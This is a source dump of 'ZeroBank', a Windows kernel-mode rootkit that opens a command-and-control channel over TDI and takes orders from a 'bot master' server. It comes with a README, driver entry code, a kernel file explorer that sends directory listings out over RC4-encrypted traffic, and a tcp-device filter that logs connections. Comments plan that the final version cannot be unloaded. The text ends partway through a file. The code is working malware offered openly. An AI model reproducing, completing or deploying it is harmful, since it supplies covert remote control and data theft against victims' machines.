├── README.md ├── ZeroBank!kit ├── ZeroBank.c ├── common.h ├── file.c ├── file.h ├── filter.c ├── filter.h ├── filtersendrequests.c ├── filtersendrequests.h ├── hash.c ├── hash.h ├── header.c ├── header.h ├── info.c ├── info.h ├── md5.c ├── md5.h ├── mem.c ├── mem.h ├── modules.c ├── modules.h ├── net.c ├── net.h ├── non_exported_procedures.c ├── non_exported_procedures.h ├── offsets.c ├── offsets.h ├── ps.c ├── ps.h ├── rc4.c ├── rc4.h ├── rwqueryfilevol.c ├── rwqueryfilevol.h ├── thread.c ├── thread.h ├── transfer.c ├── transfer.h ├── utils.c └── utils.h └── ZeroBank!server ├── ZeroBank.c ├── server_cmd.c ├── server_cmd.h ├── server_connections.c ├── server_connections.h ├── server_disconnect.c ├── server_disconnect.h ├── server_file.c ├── server_file.h ├── server_globals.h ├── server_info.c ├── server_info.h ├── server_md5.c ├── server_md5.h ├── server_modules.c ├── server_modules.h ├── server_ntapi.h ├── server_process.c ├── server_process.h ├── server_rc4.c ├── server_rc4.h ├── server_sendrequests.c ├── server_sendrequests.h ├── server_tdifilter.c ├── server_tdifilter.h ├── server_thread.c ├── server_thread.h ├── server_transfer.c └── server_transfer.h /README.md: -------------------------------------------------------------------------------- 1 | # ZeroBank-ring0-bundle 2 | Kernel-Mode rootkit that connects to a remote server to send & recv commands using the TDI (Transport Driver Interface) network layer 3 | 4 | Proyect compiled using VS 2013 and WDK 8.1
5 | To use change ip address in both driver & server
6 | Win 7 x86 only supported for the moment
7 | Use under Virtualization
8 | 9 | # Currently Working Features 10 | 11 | Function Hashing (API functions resolved at runtime using hashing)
12 | Process Explorer
13 | Thread Explorer
14 | File Explorer
15 | File Transfer (Kernel to server)
16 | TDI connections filter
17 | TDI send filter
18 | Encrypted communications (RC4)
19 | More information about project parts and overview can be found here
20 | 21 | http://alexvogtkernel.blogspot.com/ 22 | -------------------------------------------------------------------------------- /ZeroBank!kit/ZeroBank.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /*/////////////////////////////////////////////////////////// 4 | // 5 | // File: ZeroBank.c 6 | // 7 | // Main entry point of the ZeroBank rootkit 8 | // 9 | // - Initialization of synchronization objects 10 | // - Thread Creation for the different routines 11 | // that will give sense for the rootkit activity 12 | // 13 | // - Rootkit Final version wont have an Unload Routine 14 | // for remote host safeness, since unloading this type 15 | // of drivers can cause many problems, driver will always 16 | // stay active in memory until system shutdowns or reboots 17 | // What the bot master can do is terminate the communication 18 | // thread, which will terminate the command exchange with 19 | // server, but even doing that the rootkit will be still active 20 | // 21 | *///////////////////////////////////////////////////////////// 22 | 23 | KSPIN_LOCK g_globalspinlock = { 0 }; 24 | KIRQL Irql = { 0 }; 25 | PDRIVER_OBJECT g_pDriverObject = NULL; 26 | ROOTKIT_API_HASH g_Hash = { 0 }; 27 | ZEROBANK_COMMUNICATION_CTX Ctx = { 0 }; 28 | ERESOURCE g_globalresource = { 0 }; 29 | char g_idpath[255] = { 0 }; 30 | 31 | VOID Unload(PDRIVER_OBJECT pDriverObject) 32 | { 33 | DbgPrint("\n__ZeroBank__rootkit__unloaded"); 34 | 35 | ExDeleteResourceLite(&g_globalresource); 36 | } 37 | 38 | NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegisterPath) 39 | { 40 | DbgPrint("\n__ZeroBank__rootkit__loaded"); 41 | 42 | NTSTATUS st; 43 | HANDLE info_handle; 44 | HANDLE flt; 45 | HANDLE proc_handle; 46 | PZEROBANK_COMMUNICATION_CTX ctx = NULL; 47 | 48 | g_pDriverObject = pDriverObject; 49 | 50 | // Load funtion hashing system 51 | 52 | KiLoadFunctions(&g_Hash); 53 | 54 | // initialize globals 55 | 56 | KzInitializeSpinLock(&g_globalspinlock); 57 | ExInitializeResourceLite(&g_globalresource); 58 | 59 | // Initialize rootkit worker threads, dynamic data and non exported procedures 60 | 61 | KiInitializeKernelModeThread(&info_handle, &g_Hash, rootkit_dynamic_data_thread, (PROOTKIT_API_HASH)&g_Hash); 62 | KiInitializeKernelModeThread(&proc_handle, &g_Hash, KiLoadNonExportedRoutines, (PROOTKIT_API_HASH)&g_Hash); 63 | 64 | 65 | // alloc memory for communication context thread 66 | // and pass parameters needed for further operations 67 | 68 | ctx = (PZEROBANK_COMMUNICATION_CTX)g_Hash._ExAllocatePool(NonPagedPool, sizeof(ZEROBANK_COMMUNICATION_CTX)); 69 | memset(ctx, 0, sizeof(ZEROBANK_COMMUNICATION_CTX)); 70 | ctx->g_Hash = &g_Hash; 71 | ctx->pDriverObjectCtx = pDriverObject; 72 | 73 | // start thread 74 | 75 | st = zerobank_init_communication_thread(ctx); 76 | 77 | 78 | pDriverObject->DriverUnload = Unload; 79 | 80 | 81 | return STATUS_SUCCESS; 82 | 83 | 84 | } 85 | 86 | -------------------------------------------------------------------------------- /ZeroBank!kit/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "hash.h" 14 | #include "file.h" 15 | #include "ps.h" 16 | #include "thread.h" 17 | #include "ps.h" 18 | #include "mem.h" 19 | #include "net.h" 20 | #include "offsets.h" 21 | #include "modules.h" 22 | #include "rwqueryfilevol.h" 23 | #include "info.h" 24 | #include "transfer.h" 25 | #include "non_exported_procedures.h" 26 | #include "md5.h" 27 | #include "rc4.h" 28 | #include "utils.h" 29 | #include "header.h" 30 | #include "filter.h" 31 | 32 | 33 | extern KSPIN_LOCK g_globalspinlock; 34 | extern KIRQL Irql; 35 | extern PDRIVER_OBJECT g_pDriverObject; 36 | extern ERESOURCE g_globalresource; 37 | extern char g_idpath[255]; 38 | 39 | -------------------------------------------------------------------------------- /ZeroBank!kit/file.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | 4 | /* 5 | File: file.c 6 | 7 | Implementation of a file explorer 8 | calling the underlying driver directly 9 | instead of calling ZwQueryDirectoryFile 10 | 11 | returns 12 | File Last Write Time 13 | File Creation Time 14 | Filename 15 | 16 | */ 17 | 18 | NTSTATUS QueryCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) 19 | { 20 | PIO_STATUS_BLOCK ioStatus; 21 | 22 | ioStatus = Irp->UserIosb; 23 | ioStatus->Status = Irp->IoStatus.Status; 24 | ioStatus->Information = Irp->IoStatus.Information; 25 | 26 | g_Hash._KeSetEvent(Irp->UserEvent, 0, FALSE); 27 | g_Hash._IoFreeIrp(Irp); 28 | 29 | return STATUS_MORE_PROCESSING_REQUIRED; 30 | } 31 | 32 | PROOTKIT_FILEEXPLORER_LIST_HEAD kernel_get_number_files(IN PCHAR FileName, IN PROOTKIT_API_HASH Hash) 33 | { 34 | NTSTATUS st; 35 | PIRP Irp; 36 | KEVENT Event; 37 | PFILE_BOTH_DIR_INFORMATION bothdirinformation = NULL; 38 | PVOID Buffer = NULL; 39 | IO_STATUS_BLOCK io = { 0 }; 40 | HANDLE handle; 41 | PIO_STACK_LOCATION pio; 42 | OBJECT_ATTRIBUTES oa = { 0 }; 43 | UNICODE_STRING ustr0 = { 0 }; 44 | ANSI_STRING ansi = { 0 }; 45 | PFILE_OBJECT FileObject = NULL; 46 | PDEVICE_OBJECT DeviceObject = NULL; 47 | PROOTKIT_FILEEXPLORER_ENTRY EntryBuffer = NULL; 48 | TIME_FIELDS timer = { 0 }; 49 | TIME_FIELDS wtime = { 0 }; 50 | SIZE_T ByteChecker = 0; 51 | EX_RUNDOWN_REF protect; 52 | 53 | 54 | g_fileexplorer_head = (PROOTKIT_FILEEXPLORER_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_FILEEXPLORER_LIST_HEAD)); 55 | if (g_fileexplorer_head == NULL) 56 | KdPrint(("\r\nError allocating list-head")); 57 | 58 | 59 | InitializeListHead(&g_fileexplorer_head->Entry); 60 | g_fileexplorer_head->NumberOfElements = 0; 61 | 62 | Hash->_RtlInitAnsiString(&ansi, FileName); 63 | Hash->_RtlAnsiStringToUnicodeString(&ustr0, &ansi, TRUE); 64 | InitializeObjectAttributes(&oa, &ustr0, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); 65 | 66 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7 67 | st = MyIopCreateFile(&handle, \ 68 | FILE_LIST_DIRECTORY | 69 | SYNCHRONIZE | 70 | FILE_ANY_ACCESS, \ 71 | &oa, \ 72 | &io, \ 73 | 0, \ 74 | FILE_ATTRIBUTE_NORMAL, \ 75 | FILE_SHARE_DELETE | 76 | FILE_SHARE_WRITE | 77 | FILE_SHARE_READ, \ 78 | FILE_OPEN, \ 79 | FILE_DIRECTORY_FILE | 80 | FILE_SYNCHRONOUS_IO_ALERT, \ 81 | NULL, \ 82 | 0, \ 83 | CreateFileTypeNone, \ 84 | NULL, \ 85 | IO_NO_PARAMETER_CHECKING, \ 86 | 0, \ 87 | NULL); 88 | 89 | #else 90 | 91 | st = IoCreateFileEx(&handle, FILE_READ_ATTRIBUTES, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE, FILE_OPEN, 92 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL); 93 | 94 | #endif 95 | 96 | if (!NT_SUCCESS(st)) 97 | 98 | #ifndef _WIN64 99 | ObpCloseHandle(handle, KernelMode); 100 | #else 101 | ZwClose(handle); 102 | #endif 103 | 104 | st = Hash->_ObReferenceObjectByHandle(handle, FILE_LIST_DIRECTORY | SYNCHRONIZE, *g_Hash._IoFileObjectType, 105 | KernelMode, (PVOID*)&FileObject, NULL); 106 | if (!NT_SUCCESS(st)) 107 | Hash->_ObfDereferenceObject(FileObject); 108 | 109 | DeviceObject =Hash->_IoGetRelatedDeviceObject(FileObject); 110 | if (DeviceObject == NULL) 111 | KdPrint(("\r\nError IoGetRelatedDeviceObject")); 112 | 113 | 114 | Irp =Hash->_IoAllocateIrp(DeviceObject->StackSize, FALSE); 115 | if (Irp == NULL) 116 | return STATUS_INSUFFICIENT_RESOURCES; 117 | 118 | 119 | Hash->_KeInitializeEvent(&Event, NotificationEvent, FALSE); 120 | Buffer = Hash->_ExAllocatePool(NonPagedPool, 65530); 121 | 122 | Irp->UserEvent = &Event; 123 | Irp->UserBuffer = Buffer; 124 | Irp->AssociatedIrp.SystemBuffer = Buffer; 125 | Irp->MdlAddress = NULL; 126 | Irp->Flags = 0; 127 | Irp->UserIosb = &io; 128 | Irp->Tail.Overlay.OriginalFileObject = FileObject; 129 | Irp->Tail.Overlay.Thread = (PKTHREAD)Hash->_KeGetCurrentThread(); 130 | Irp->RequestorMode = KernelMode; 131 | 132 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1; 133 | pio->MajorFunction = IRP_MJ_DIRECTORY_CONTROL; 134 | pio->MinorFunction = IRP_MN_QUERY_DIRECTORY; 135 | pio->FileObject = FileObject; 136 | pio->DeviceObject = DeviceObject; 137 | pio->Flags = SL_RESTART_SCAN; 138 | pio->Control = 0; 139 | pio->Parameters.QueryDirectory.FileIndex = 0; 140 | pio->Parameters.QueryDirectory.FileInformationClass = FileBothDirectoryInformation; 141 | pio->Parameters.QueryDirectory.FileName = NULL; 142 | pio->Parameters.QueryDirectory.Length = 65530; 143 | 144 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE); 145 | 146 | st = Hash->_IofCallDriver(DeviceObject, Irp); 147 | if (st == STATUS_PENDING) 148 | Hash->_KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL); 149 | 150 | 151 | bothdirinformation = (PFILE_BOTH_DIR_INFORMATION)Buffer; 152 | if (!bothdirinformation || !Hash->_MmIsAddressValid(bothdirinformation)) 153 | { 154 | KdPrint(("\r\nError copying memory to structure")); 155 | return STATUS_UNSUCCESSFUL; 156 | } 157 | 158 | for (;;) 159 | { 160 | 161 | if ((bothdirinformation->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) && 162 | (bothdirinformation->FileName)[0] == L'.') goto exit; 163 | 164 | EntryBuffer = (PROOTKIT_FILEEXPLORER_ENTRY)g_Hash._ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_FILEEXPLORER_ENTRY)); 165 | memset(EntryBuffer, 0, sizeof(ROOTKIT_FILEEXPLORER_ENTRY)); 166 | 167 | kimemcpy(EntryBuffer->FileName, bothdirinformation->FileName, bothdirinformation->FileNameLength); 168 | 169 | 170 | Hash->_RtlTimeToTimeFields(&bothdirinformation->CreationTime, &timer); 171 | Hash->_sprintf_s(EntryBuffer->CreateTime, 255, "%02u/%02u/%03u %02u:%02u:%02u", timer.Day, \ 172 | timer.Month, \ 173 | timer.Year, \ 174 | timer.Hour, \ 175 | timer.Minute, \ 176 | timer.Second); 177 | Hash->_RtlTimeToTimeFields(&bothdirinformation->LastWriteTime, &wtime); 178 | Hash->_sprintf_s(EntryBuffer->WriteTime, 255, "%02u/%02u/%03u %02u:%02u:%02u", wtime.Day, \ 179 | wtime.Month, \ 180 | wtime.Year, \ 181 | wtime.Hour, \ 182 | wtime.Minute, \ 183 | wtime.Second); 184 | 185 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 186 | InsertTailList(&g_fileexplorer_head->Entry, &EntryBuffer->Entry); 187 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 188 | 189 | g_fileexplorer_head->NumberOfElements++; 190 | 191 | 192 | exit: 193 | if (bothdirinformation->NextEntryOffset == 0) break; 194 | bothdirinformation = \ 195 | (PFILE_BOTH_DIR_INFORMATION)((ULONG)bothdirinformation + \ 196 | bothdirinformation->NextEntryOffset); 197 | 198 | } 199 | 200 | Hash->_ExFreePoolWithTag(Buffer,0); 201 | 202 | #ifndef _WIN64 203 | ObpCloseHandle(handle, KernelMode); 204 | #else 205 | ZwClose(handle); 206 | #endif 207 | 208 | Hash->_ObfDereferenceObject(FileObject); 209 | Hash->_RtlFreeUnicodeString(&ustr0); 210 | 211 | return g_fileexplorer_head; 212 | } 213 | 214 | ULONG rk_copy_fileexplorer_list_to_buffer(IN PROOTKIT_FILEEXPLORER_ENTRY Buffer, IN PROOTKIT_API_HASH Hash) 215 | { 216 | ULONG returnedlength = 0; 217 | PROOTKIT_FILEEXPLORER_ENTRY Entry = NULL; 218 | SIZE_T ByteChecker = 0; 219 | 220 | if (g_fileexplorer_head == NULL) 221 | return 0; 222 | 223 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 224 | 225 | while (!IsListEmpty(&g_fileexplorer_head->Entry)) 226 | { 227 | Entry = (PROOTKIT_FILEEXPLORER_ENTRY)RemoveTailList(&g_fileexplorer_head->Entry); 228 | kimemcpy(Buffer, Entry, sizeof(ROOTKIT_FILEEXPLORER_ENTRY)); 229 | Hash->_ExFreePoolWithTag(Entry, 0); 230 | Buffer++; 231 | returnedlength++; 232 | } 233 | 234 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 235 | 236 | Hash->_ExFreePoolWithTag(g_fileexplorer_head,0); 237 | g_fileexplorer_head = NULL; 238 | 239 | return returnedlength*sizeof(ROOTKIT_FILEEXPLORER_ENTRY); 240 | } 241 | 242 | BOOLEAN rk_send_fileexplorer_to_userspace(IN PFILE_OBJECT socket, IN PCHAR FileName, IN PROOTKIT_API_HASH Hash) 243 | { 244 | ULONG bytes = 0; 245 | INT sendsize = 0; 246 | PROOTKIT_FILEEXPLORER_LIST_HEAD listhead = NULL; 247 | PROOTKIT_FILEEXPLORER_ENTRY Entry = NULL; 248 | PVOID Buffer = NULL; 249 | ULONG returnedbytes = 0; 250 | NTSTATUS st; 251 | PMDL Mdl = NULL; 252 | BOOLEAN g_cond = FALSE; 253 | 254 | listhead = kernel_get_number_files(FileName, Hash); 255 | bytes = listhead->NumberOfElements*sizeof(ROOTKIT_FILEEXPLORER_ENTRY); 256 | 257 | do 258 | { 259 | sendsize = send(socket, (char*)&bytes, sizeof(ULONG)); 260 | if (sendsize > 0) 261 | { 262 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash); 263 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl,Hash) == TRUE) 264 | { 265 | Entry = (PROOTKIT_FILEEXPLORER_ENTRY)Buffer; 266 | if (Entry && Hash->_MmIsAddressValid(Entry)) 267 | { 268 | returnedbytes = rk_copy_fileexplorer_list_to_buffer(Entry, Hash); 269 | if (returnedbytes > 0) 270 | { 271 | sendsize = tdi_send_crypted(socket, RC4_KEY_2, (PROOTKIT_FILEEXPLORER_ENTRY)Entry, returnedbytes, 0); 272 | if (sendsize > 0) 273 | { 274 | g_cond = TRUE; 275 | goto clean; 276 | } 277 | } 278 | } 279 | } 280 | } 281 | 282 | } while (FALSE); 283 | 284 | clean: 285 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash); 286 | Buffer = NULL; 287 | 288 | return g_cond; 289 | } -------------------------------------------------------------------------------- /ZeroBank!kit/file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ROOTKIT_FILEEXPLORER_ENTRY { 4 | #ifndef _WIN64 5 | LIST_ENTRY Entry; 6 | #else 7 | LIST_ENTRY64 Entry; 8 | #endif 9 | CHAR FileName[255]; 10 | CHAR CreateTime[255]; 11 | CHAR WriteTime[255]; 12 | }ROOTKIT_FILEEXPLORER_ENTRY, *PROOTKIT_FILEEXPLORER_ENTRY; 13 | 14 | typedef struct _ROOTKIT_FILEEXPLORER_LIST_HEAD { 15 | #ifndef _WIN64 16 | LIST_ENTRY Entry; 17 | #else 18 | LIST_ENTRY64 Entry; 19 | #endif 20 | ULONG NumberOfElements; 21 | }ROOTKIT_FILEEXPLORER_LIST_HEAD, *PROOTKIT_FILEEXPLORER_LIST_HEAD; 22 | 23 | NTSTATUS QueryCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context); 24 | PROOTKIT_FILEEXPLORER_LIST_HEAD g_fileexplorer_head; 25 | PROOTKIT_FILEEXPLORER_LIST_HEAD kernel_get_number_files(IN PCHAR FileName, IN PROOTKIT_API_HASH Hash); 26 | ULONG rk_copy_fileexplorer_list_to_buffer(IN PROOTKIT_FILEEXPLORER_ENTRY Buffer, IN PROOTKIT_API_HASH Hash); 27 | BOOLEAN rk_send_fileexplorer_to_userspace(IN PFILE_OBJECT socket, IN PCHAR FileName, IN PROOTKIT_API_HASH Hash); 28 | 29 | -------------------------------------------------------------------------------- /ZeroBank!kit/filter.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | PIO_STACK_LOCATION g_pStackLocation = NULL; 4 | PZEROBANK_FILTER_HEAD g_filter_head = NULL; 5 | 6 | PZEROBANK_FILTER_HEAD rk_get_number_of_bot_connections() { 7 | PTDI_REQUEST_KERNEL_CONNECT pconnect = NULL; 8 | PTA_ADDRESS paddress = NULL; 9 | PTDI_ADDRESS_IP paddressip = NULL; 10 | ROOTKIT_NETWORK_ADDRESS data = { 0 }; 11 | char buffer[255] = { 0 }; 12 | LARGE_INTEGER systime; 13 | LARGE_INTEGER lctime; 14 | TIME_FIELDS timer; 15 | PZEROBANK_FILTER_CONNECTION_REQUESTS pConnectionsBuffer = NULL; 16 | 17 | pconnect = (PTDI_REQUEST_KERNEL_CONNECT)(&g_pStackLocation->Parameters); 18 | if (pconnect) { 19 | paddress = ((PTRANSPORT_ADDRESS)(pconnect->RequestConnectionInformation->RemoteAddress))->Address; 20 | if (paddress) { 21 | paddressip = (PTDI_ADDRESS_IP)(paddress->Address); 22 | if (paddressip) { 23 | 24 | unsigned int Address = paddressip->in_addr; 25 | unsigned int Port = paddressip->sin_port; 26 | 27 | ROOTKIT_NETWORK_ADDRESS data = { 0 }; 28 | data.ip[0] = ((char*)&Address)[0]; 29 | data.ip[1] = ((char*)&Address)[1]; 30 | data.ip[2] = ((char*)&Address)[2]; 31 | data.ip[3] = ((char*)&Address)[3]; 32 | 33 | 34 | data.Port[0] = ((char*)&Port)[1]; 35 | data.Port[1] = ((char*)&Port)[0]; 36 | Port = data.Port[1] * 0x100 + data.Port[0]; 37 | 38 | KeQuerySystemTime(&systime); 39 | ExSystemTimeToLocalTime(&systime, &lctime); 40 | RtlTimeToTimeFields(&lctime, &timer); 41 | 42 | g_Hash._sprintf_s(buffer, 255, "\r\n%02u-%02u-%04u %02u:%02u:%02u [%d.%d.%d.%d:%d]", 43 | timer.Day, 44 | timer.Month, 45 | timer.Year, 46 | timer.Hour, 47 | timer.Minute, 48 | timer.Second, 49 | (unsigned int)data.ip[0], 50 | (unsigned int)data.ip[1], 51 | (unsigned int)data.ip[2], 52 | (unsigned int)data.ip[3], 53 | (unsigned int)Port); 54 | 55 | DbgPrint(buffer); 56 | 57 | pConnectionsBuffer = (PZEROBANK_FILTER_CONNECTION_REQUESTS)ExAllocatePool(NonPagedPool, sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS)); 58 | memset(pConnectionsBuffer, 0, sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS)); 59 | 60 | memcpy(pConnectionsBuffer->ShareData, buffer, 255); 61 | 62 | // lock the list and raise IRQL -> DISPATCH_LEVEL 63 | 64 | KeAcquireSpinLock(&g_globalspinlock, &Irql); 65 | 66 | // store the information 67 | 68 | InsertTailList(&g_filter_head->Entry, &pConnectionsBuffer->Entry); 69 | 70 | // release the lock 71 | 72 | KeReleaseSpinLock(&g_globalspinlock, Irql); 73 | 74 | // increment the connections 75 | 76 | g_filter_head->NumberOfConnections++; 77 | 78 | } 79 | } 80 | } 81 | 82 | return g_filter_head->NumberOfConnections; 83 | } 84 | 85 | ULONG g_rk_copy_connections_to_buffer(IN PZEROBANK_FILTER_CONNECTION_REQUESTS pConnectionsRequest) { 86 | 87 | PZEROBANK_FILTER_CONNECTION_REQUESTS pBuffer = NULL; 88 | ULONG neededsize = 0; 89 | 90 | if (g_filter_head == NULL) 91 | return 1; 92 | 93 | // lock the list 94 | 95 | KeAcquireSpinLock(&g_globalspinlock, &Irql); 96 | 97 | // extract data from list and copy it in allocated buffer 98 | 99 | while (!IsListEmpty(&g_filter_head->Entry)) { 100 | 101 | pBuffer = (PZEROBANK_FILTER_CONNECTION_REQUESTS)RemoveTailList(&g_filter_head->Entry); 102 | kimemcpy(pConnectionsRequest, pBuffer, sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS)); 103 | ExFreePool(pBuffer); 104 | pConnectionsRequest++; 105 | neededsize++; 106 | } 107 | 108 | // release the lock 109 | 110 | KeReleaseSpinLock(&g_globalspinlock, Irql); 111 | 112 | ExFreePool(g_filter_head); 113 | g_filter_head = NULL; 114 | 115 | return neededsize*sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS); 116 | 117 | } 118 | 119 | BOOLEAN g_rk_send_connections_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash) { 120 | 121 | PMDL Mdl = NULL; 122 | PZEROBANK_FILTER_CONNECTION_REQUESTS pConnnections = NULL; 123 | ULONG bytes = 0; 124 | INT sendsize = 0; 125 | PVOID Buffer = NULL; 126 | ULONG returnedbytes = 0; 127 | BOOLEAN g_cond = FALSE; 128 | 129 | // get how many bytes we are going to need for allocation 130 | 131 | bytes = g_filter_head->NumberOfConnections*sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS); 132 | 133 | do 134 | { 135 | // send needed-size to user-space 136 | 137 | sendsize = send(pSocket, (PCHAR)&bytes, sizeof(ULONG)); 138 | if (sendsize > 0) 139 | { 140 | // allocate virtual memory 141 | 142 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash); 143 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl, Hash) == TRUE) 144 | { 145 | pConnnections = (PZEROBANK_FILTER_CONNECTION_REQUESTS)Buffer; 146 | if (pConnnections && Hash->_MmIsAddressValid(pConnnections)) 147 | { 148 | returnedbytes = g_rk_copy_connections_to_buffer(pConnnections); 149 | if (returnedbytes > 0) 150 | { 151 | // send encrypted data to user-space 152 | 153 | sendsize = tdi_send_crypted(pSocket, RC4_KEY_2, (PZEROBANK_FILTER_CONNECTION_REQUESTS)pConnnections, returnedbytes,0); 154 | if (sendsize > 0) 155 | { 156 | g_cond = TRUE; 157 | goto clean; 158 | } 159 | } 160 | } 161 | } 162 | } 163 | 164 | 165 | } while (FALSE); 166 | 167 | // free previously allocated virtual memory 168 | 169 | clean: 170 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash); 171 | Buffer = NULL; 172 | 173 | return g_cond; 174 | } 175 | 176 | NTSTATUS g_rk_connect_dispatcher(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp) { 177 | 178 | NTSTATUS st = STATUS_NOT_SUPPORTED; 179 | g_pStackLocation = pIrp->Tail.Overlay.CurrentStackLocation; // get the current Irp Stack Location 180 | 181 | __try { 182 | 183 | // since we are only interested in IRP_MJ_INTERNAL_DEVICE_CONTROL we just gather 184 | // the MinorFunction data 185 | 186 | switch (g_pStackLocation->MinorFunction) { 187 | case TDI_CONNECT: // connection requests 188 | rk_get_number_of_bot_connections(); 189 | break; 190 | case TDI_QUERY_INFORMATION: // query information requests 191 | break; 192 | case TDI_SEND: // sending requests 193 | break; 194 | case TDI_RECEIVE: // receiving requests 195 | break; 196 | default: 197 | break; 198 | } 199 | 200 | 201 | } 202 | __except (EXCEPTION_EXECUTE_HANDLER) { 203 | 204 | return GetExceptionCode(); 205 | KdPrint(("\r\nException Caught in TDI_DISPATCHER_ROUTINE")); 206 | } 207 | 208 | // Call the underlying driver, Note that we use DeviceExtension field which should be 209 | // filled with data just after creating the device in g_rk_connect_start_filter function 210 | 211 | IoSkipCurrentIrpStackLocation(pIrp); 212 | st = g_Hash._IofCallDriver((PDEVICE_OBJECT)pDeviceObject->DeviceExtension, pIrp); 213 | 214 | return st; 215 | } 216 | 217 | NTSTATUS g_rk_connect_start_filter(IN PZEROBANK_TDI_FILTER tdi) { 218 | 219 | PDEVICE_OBJECT pDeviceObject = NULL; 220 | UNICODE_STRING device = { 0 }; 221 | NTSTATUS st; 222 | UINT16 i = 0; 223 | 224 | st = tdi->Hash->_IoCreateDevice(tdi->pDriverObject, sizeof(PDEVICE_OBJECT), NULL,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,(PDEVICE_OBJECT*)&pDeviceObject); 225 | if (NT_SUCCESS(st)) { 226 | for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { 227 | tdi->pDriverObject->MajorFunction[i] = g_rk_connect_dispatcher; 228 | } 229 | tdi->Hash->_RtlInitUnicodeString(&device, L"\\Device\\tcp"); 230 | st = tdi->Hash->_IoAttachDevice(pDeviceObject, &device, (PDEVICE_OBJECT*)&pDeviceObject->DeviceExtension); 231 | if (NT_SUCCESS(st)) { 232 | 233 | PDEVICE_OBJECT fltdriverobj = (PDEVICE_OBJECT)pDeviceObject->DeviceExtension; 234 | if (fltdriverobj) { 235 | pDeviceObject->Flags |= fltdriverobj->Flags &(DO_BUFFERED_IO | DO_DIRECT_IO); 236 | pDeviceObject->DeviceType = fltdriverobj->DeviceType; 237 | pDeviceObject->Characteristics = fltdriverobj->Characteristics; 238 | pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; 239 | } 240 | } 241 | } 242 | 243 | return st; 244 | } 245 | -------------------------------------------------------------------------------- /ZeroBank!kit/filter.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ROOTKIT_NETWORK_ADDRESS 4 | { 5 | UCHAR ip[4]; 6 | UCHAR Port[2]; 7 | 8 | }ROOTKIT_NETWORK_ADDRESS, *PROOTKIT_NETWORK_ADDRESS; 9 | 10 | typedef struct _ZEROBANK_FILTER_CONNECTION_REQUESTS 11 | { 12 | LIST_ENTRY Entry; 13 | CHAR ShareData[255]; 14 | }ZEROBANK_FILTER_CONNECTION_REQUESTS, *PZEROBANK_FILTER_CONNECTION_REQUESTS; 15 | 16 | typedef struct _ZEROBANK_FILTER_HEAD 17 | { 18 | LIST_ENTRY Entry; 19 | ULONG NumberOfConnections; 20 | }ZEROBANK_FILTER_HEAD, *PZEROBANK_FILTER_HEAD; 21 | 22 | 23 | extern PZEROBANK_FILTER_HEAD g_filter_head; 24 | PZEROBANK_FILTER_HEAD rk_get_number_of_bot_connections(IN PIO_STACK_LOCATION pStackLocation); 25 | ULONG g_rk_copy_connections_to_buffer(IN PZEROBANK_FILTER_CONNECTION_REQUESTS pConnectionsRequest); 26 | 27 | 28 | NTSTATUS g_rk_connect_start_filter(IN PZEROBANK_TDI_FILTER tdi); 29 | BOOLEAN g_rk_send_connections_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash); 30 | NTSTATUS g_rk_connect_dispatcher(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp); 31 | -------------------------------------------------------------------------------- /ZeroBank!kit/filtersendrequests.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | PZEROBANK_SEND_HEAD g_send_head = NULL; 4 | 5 | PZEROBANK_SEND_HEAD g_rk_get_total_send_request() { 6 | 7 | PZEROBANK_FILTER_SEND_REQUESTS pSendRequests = NULL; 8 | PCHAR Buffer = NULL; 9 | ULONG size = 0; 10 | PCHAR Alloc = NULL; 11 | 12 | Buffer = (CHAR*)MmGetSystemAddressForMdlSafe(g_pIrp->MdlAddress,NormalPagePriority); 13 